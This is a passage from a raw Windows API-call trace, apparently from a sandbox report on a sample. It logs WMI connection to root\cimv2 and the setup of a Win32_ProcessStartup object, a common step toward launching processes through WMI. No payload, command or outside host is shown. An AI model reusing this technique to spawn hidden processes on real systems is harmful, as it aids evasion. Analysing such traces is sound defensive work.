ppvObject=0x1bb7dbb8*=0x1bbb3690) returned 0x0 [0156.898] WbemLocator:IUnknown:Release (This=0x1bbb3670) returned 0x0 [0156.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3690, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbb3690) returned 0x0 [0156.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3690, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0156.898] WbemLocator:IUnknown:AddRef (This=0x1bbb3690) returned 0x3 [0156.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3690, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0156.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3690, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0156.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3690, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0156.898] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0156.898] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0156.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3690, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0156.898] WbemLocator:IUnknown:Release (This=0x1bbb3690) returned 0x2 [0156.899] WbemLocator:IUnknown:Release (This=0x1bbb3690) returned 0x1 [0156.899] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0156.899] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0156.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3690, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbb3690) returned 0x0 [0156.899] WbemLocator:IUnknown:AddRef (This=0x1bbb3690) returned 0x3 [0156.899] WbemLocator:IUnknown:Release (This=0x1bbb3690) returned 0x2 [0156.899] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0156.899] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0156.899] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.899] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbb36b0) returned 0x0 [0156.899] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbb36b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc64e90) returned 0x0 [0157.086] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64e90, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdd400) returned 0x0 [0157.086] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd400, pProxy=0x1bc64e90, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0157.086] WbemLocator:IUnknown:Release (This=0x1bbdd400) returned 0x1 [0157.086] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64e90, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdd440) returned 0x0 [0157.086] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64e90, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdd400) returned 0x0 [0157.086] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd400, pProxy=0x1bc64e90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.086] WbemLocator:IUnknown:Release (This=0x1bbdd400) returned 0x2 [0157.086] WbemLocator:IUnknown:Release (This=0x1bbdd440) returned 0x1 [0157.086] CoTaskMemFree (pv=0x1bc19680) [0157.086] WbemLocator:IUnknown:AddRef (This=0x1bc64e90) returned 0x2 [0157.087] WbemLocator:IUnknown:Release (This=0x1bbb36b0) returned 0x0 [0157.087] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0157.087] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0157.087] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64e90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdd410) returned 0x0 [0157.088] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd410, pPrx=0x1bbb3610, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0157.088] WbemLocator:IUnknown:Release (This=0x1bbdd410) returned 0x2 [0157.088] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0157.088] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0157.088] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc64e90, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc64e90) returned 0x0 [0157.088] WbemLocator:IUnknown:Release (This=0x1bc64e90) returned 0x2 [0157.088] SysStringLen (param_1=0x0) returned 0x0 [0157.088] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ff80, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0157.088] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ff80, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0157.088] IWbemServices:GetObject (in: This=0x1bc64e90, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbb6930, ppCallResult=0x0) returned 0x0 [0157.091] IWbemClassObject:Get (in: This=0x1bbb6930, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0157.091] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0157.091] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0157.091] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0157.091] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0157.091] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0157.091] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.093] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbb36b0) returned 0x0 [0157.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb36b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0157.093] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb36b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3fd40) returned 0x0 [0157.093] WbemDefPath:IUnknown:Release (This=0x1bbb36b0) returned 0x0 [0157.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3fd40) returned 0x0 [0157.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0157.094] WbemDefPath:IUnknown:AddRef (This=0x1bc3fd40) returned 0x3 [0157.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0157.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0157.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbb35d0) returned 0x0 [0157.094] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb35d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.094] WbemDefPath:IUnknown:Release (This=0x1bbb35d0) returned 0x3 [0157.094] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0157.094] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0157.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0157.094] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x2 [0157.094] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x1 [0157.094] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0157.094] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0157.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fd40, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3fd40) returned 0x0 [0157.094] WbemDefPath:IUnknown:AddRef (This=0x1bc3fd40) returned 0x3 [0157.094] WbemDefPath:IUnknown:Release (This=0x1bc3fd40) returned 0x2 [0157.094] WbemDefPath:IWbemPath:SetText (This=0x1bc3fd40, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0157.095] IWbemClassObject:Get (in: This=0x1bbb6930, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c4d08*=0, plFlavor=0x28c4d0c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c4d08*=19, plFlavor=0x28c4d0c*=0) returned 0x0 [0157.095] IWbemClassObject:Get (in: This=0x1bbb6930, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c4d08*=19, plFlavor=0x28c4d0c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c4d08*=19, plFlavor=0x28c4d0c*=0) returned 0x0 [0157.095] IWbemClassObject:Put (This=0x1bbb6930, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0157.095] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0157.095] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.095] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0157.095] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.095] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0157.095] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0157.095] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0157.095] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.097] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1aa04560) returned 0x0 [0157.097] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa04560, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0157.097] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa04560, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3fc80) returned 0x0 [0157.097] WbemDefPath:IUnknown:Release (This=0x1aa04560) returned 0x0 [0157.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3fc80) returned 0x0 [0157.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0157.098] WbemDefPath:IUnknown:AddRef (This=0x1bc3fc80) returned 0x3 [0157.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0157.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0157.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1aa044c0) returned 0x0 [0157.098] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa044c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.098] WbemDefPath:IUnknown:Release (This=0x1aa044c0) returned 0x3 [0157.098] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0157.098] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0157.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0157.098] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x2 [0157.098] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x1 [0157.098] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0157.098] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0157.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fc80, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3fc80) returned 0x0 [0157.099] WbemDefPath:IUnknown:AddRef (This=0x1bc3fc80) returned 0x3 [0157.099] WbemDefPath:IUnknown:Release (This=0x1bc3fc80) returned 0x2 [0157.099] WbemDefPath:IWbemPath:SetText (This=0x1bc3fc80, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0157.099] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fc80, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0157.099] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0157.099] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fc80, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.099] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0157.099] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0157.099] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0157.099] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.100] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 